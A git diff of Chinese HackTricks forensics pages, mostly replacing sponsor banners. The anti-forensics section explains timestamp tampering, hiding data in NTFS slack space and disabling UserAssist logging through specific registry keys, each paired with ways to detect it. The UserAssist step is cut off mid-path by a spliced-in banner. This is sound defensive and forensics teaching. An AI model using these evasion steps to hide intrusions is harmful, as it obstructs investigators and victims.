-支持HackTricks的其他方式： - -- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践GCP黑客攻击：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
index 06737d786..5e6be5478 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
@@ -1,28 +1,29 @@
-# 反编译编译的Python二进制文件（exe、elf）- 从 .pyc 中检索
+# 反编译已编译的python二进制文件（exe, elf） - 从.pyc中检索
+
+{% hint style="success" %}
+学习和实践AWS黑客技术：支持HackTricks
+ +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。 + +[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践GCP黑客技术：[**HackTricks培训GCP红队专家（GRTE）**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index 87f161861..f972fc1e1 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,77 +1,78 @@
-# 浏览器遗留物
+# 浏览器伪迹
+
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
从零开始学习AWS黑客技术 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index 9823173e9..79953eff8 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -1,54 +1,55 @@
# 本地云存储
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：支持 HackTricks
+ +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术： [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
index aa5c39d4e..b21ca3af9 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md
@@ -1,36 +1,37 @@
-# Office文件分析
+# Office file analysis
+
+{% hint style="success" %}
+学习与实践 AWS 黑客技术：从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！
+支持 HackTricks
-支持 HackTricks 的其他方式： - -- 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -- 探索我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) -- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) 上 **关注** 我们。 -- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习与实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
-从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
index 6a389a2da..7b747b664 100644
--- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
+++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md
@@ -1,52 +1,54 @@
-# PDF文件分析
+# PDF 文件分析
+
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
index 474ebdc44..d17f678e0 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md
@@ -1,162 +1,179 @@
# 反取证技术
+{% hint style="success" %}
+学习和实践 AWS 黑客技术：从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS＆HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 时间戳
-攻击者可能有兴趣**更改文件的时间戳**以避免被检测。\
-可以在MFT中的属性`$STANDARD_INFORMATION`和`$FILE_NAME`中找到时间戳。
+攻击者可能会对 **更改文件的时间戳** 感兴趣，以避免被检测。\
+可以在 MFT 中的属性 `$STANDARD_INFORMATION` \_\_ 和 \_\_ `$FILE_NAME` 中找到时间戳。
-这两个属性都有4个时间戳：**修改**、**访问**、**创建**和**MFT注册修改**（MACE或MACB）。
+这两个属性都有 4 个时间戳：**修改**、**访问**、**创建**和 **MFT 注册修改**（MACE 或 MACB）。
-**Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。
+**Windows 资源管理器** 和其他工具显示 **`$STANDARD_INFORMATION`** 中的信息。
### TimeStomp - 反取证工具
-该工具**修改**了**`$STANDARD_INFORMATION`**中的时间戳信息，**但不会**修改**`$FILE_NAME`**中的信息。因此，可以**识别**出**可疑活动**。
+该工具 **修改** **`$STANDARD_INFORMATION`** 中的时间戳信息 **但** **不** 修改 **`$FILE_NAME`** 中的信息。因此，可以 **识别** **可疑** **活动**。
### Usnjrnl
-**USN日志**（更新序列号日志）是NTFS（Windows NT文件系统）的一个功能，用于跟踪卷的更改。[**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。
+**USN 日志**（更新序列号日志）是 NTFS（Windows NT 文件系统）的一个特性，用于跟踪卷更改。 [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 工具允许检查这些更改。
.png>)
-上图是该**工具显示的输出**，可以观察到对文件进行了一些**更改**。
+上图是 **工具** 显示的 **输出**，可以观察到对文件 **进行了某些更改**。
### $LogFile
-**文件系统中的所有元数据更改都会被记录**，这个过程称为[预写式日志记录](https://en.wikipedia.org/wiki/Write-ahead\_logging)。记录的元数据保存在名为`**$LogFile**`的文件中，位于NTFS文件系统的根目录中。可以使用诸如[LogFileParser](https://github.com/jschicht/LogFileParser)之类的工具来解析此文件并识别更改。
+**对文件系统的所有元数据更改都被记录** 在一个称为 [写前日志](https://en.wikipedia.org/wiki/Write-ahead_logging) 的过程中。记录的元数据保存在名为 `**$LogFile**` 的文件中，该文件位于 NTFS 文件系统的根目录。可以使用 [LogFileParser](https://github.com/jschicht/LogFileParser) 等工具解析此文件并识别更改。
.png>)
-再次，在工具的输出中，可以看到**进行了一些更改**。
+同样，在工具的输出中可以看到 **进行了某些更改**。
-使用相同的工具，可以确定**时间戳何时被修改**：
+使用同一工具可以识别 **时间戳被修改到哪个时间**：
.png>)
-* CTIME：文件的创建时间
-* ATIME：文件的修改时间
-* MTIME：文件的MFT注册修改
-* RTIME：文件的访问时间
+* CTIME: 文件创建时间
+* ATIME: 文件修改时间
+* MTIME: 文件的 MFT 注册修改
+* RTIME: 文件访问时间
-### `$STANDARD_INFORMATION`和`$FILE_NAME`比较
+### `$STANDARD_INFORMATION` 和 `$FILE_NAME` 比较
-另一种识别可疑修改文件的方法是比较两个属性上的时间，寻找**不匹配**。
+识别可疑修改文件的另一种方法是比较两个属性上的时间，寻找 **不匹配**。
### 纳秒
-**NTFS**时间戳的**精度**为**100纳秒**。因此，找到时间戳为2010-10-10 10:10:**00.000:0000的文件是非常可疑**的。
+**NTFS** 时间戳的 **精度** 为 **100 纳秒**。因此，找到时间戳类似于 2010-10-10 10:10:**00.000:0000 的文件是非常可疑的。
### SetMace - 反取证工具
-该工具可以修改`$STARNDAR_INFORMATION`和`$FILE_NAME`两个属性。但是，从Windows Vista开始，需要一个实时操作系统来修改这些信息。
+该工具可以修改两个属性 `$STARNDAR_INFORMATION` 和 `$FILE_NAME`。然而，从 Windows Vista 开始，必须在活动操作系统中修改此信息。
## 数据隐藏
-NFTS使用一个簇和最小信息大小。这意味着如果一个文件占用了一个半簇，**剩余的一半将永远不会被使用**，直到文件被删除。因此，可以**在这个空闲空间中隐藏数据**。
+NFTS 使用集群和最小信息大小。这意味着如果一个文件占用一个半集群，**剩余的一半将永远不会被使用**，直到文件被删除。因此，可以在这个松弛空间中 **隐藏数据**。
-有一些工具，如slacker，允许在这个“隐藏”空间中隐藏数据。然而，对`$logfile`和`$usnjrnl`的分析可以显示添加了一些数据：
+有像 slacker 这样的工具可以在这个“隐藏”空间中隐藏数据。然而，对 `$logfile` 和 `$usnjrnl` 的分析可以显示某些数据被添加：
.png>)
-然后，可以使用FTK Imager等工具检索空闲空间。请注意，这种工具可以保存内容混淆或甚至加密。
+然后，可以使用 FTK Imager 等工具检索松弛空间。请注意，这种工具可以保存内容为模糊或甚至加密的形式。
## UsbKill
-这是一个工具，如果检测到USB端口发生任何更改，将**关闭计算机**。\
-发现这一点的方法是检查运行的进程，并**审查每个正在运行的Python脚本**。
+这是一个工具，如果检测到 USB 端口的任何更改，将 **关闭计算机**。\
+发现这一点的一种方法是检查正在运行的进程并 **审查每个正在运行的 python 脚本**。
-## 实时Linux发行版
+## 实时 Linux 发行版
-这些发行版是**在RAM内存中执行**的。唯一能够检测到它们的方法是**在NTFS文件系统挂载时具有写权限**。如果只挂载为只读权限，则无法检测到入侵。
+这些发行版在 **RAM** 内存中 **执行**。检测它们的唯一方法是 **如果 NTFS 文件系统以写权限挂载**。如果仅以读权限挂载，则无法检测到入侵。
## 安全删除
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
-## Windows配置
+## Windows 配置
-可以禁用几种Windows日志记录方法，使取证调查变得更加困难。
+可以禁用多种 Windows 日志记录方法，以使取证调查变得更加困难。
### 禁用时间戳 - UserAssist
-这是一个维护用户运行每个可执行文件的日期和时间的注册表键。
+这是一个注册表项，维护用户运行每个可执行文件的日期和时间。
-禁用UserAssist需要两个步骤：
+禁用 UserAssist 需要两个步骤：
-1. 设置两个注册表键，`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`，都设置为零，以表示我们要禁用UserAssist。
-2. 清除类似`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！
+支持 HackTricks
-支持HackTricks的其他方式： - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 黑客技术：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
index 4922ef312..98c94cdb2 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
@@ -1,37 +1,38 @@
-# Linux 取证
+# Linux Forensics
支持 HackTricks
+ +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。 + +[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习和实践 GCP 渗透测试：[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-
+{% endhint %}
## 初始信息收集
### 基本信息
-首先，建议准备一些**带有已知良好二进制文件和库的 USB**（您可以使用 Ubuntu，然后复制文件夹 _/bin_、_/sbin_、_/lib_ 和 _/lib64_），然后挂载 USB，并修改环境变量以使用这些二进制文件：
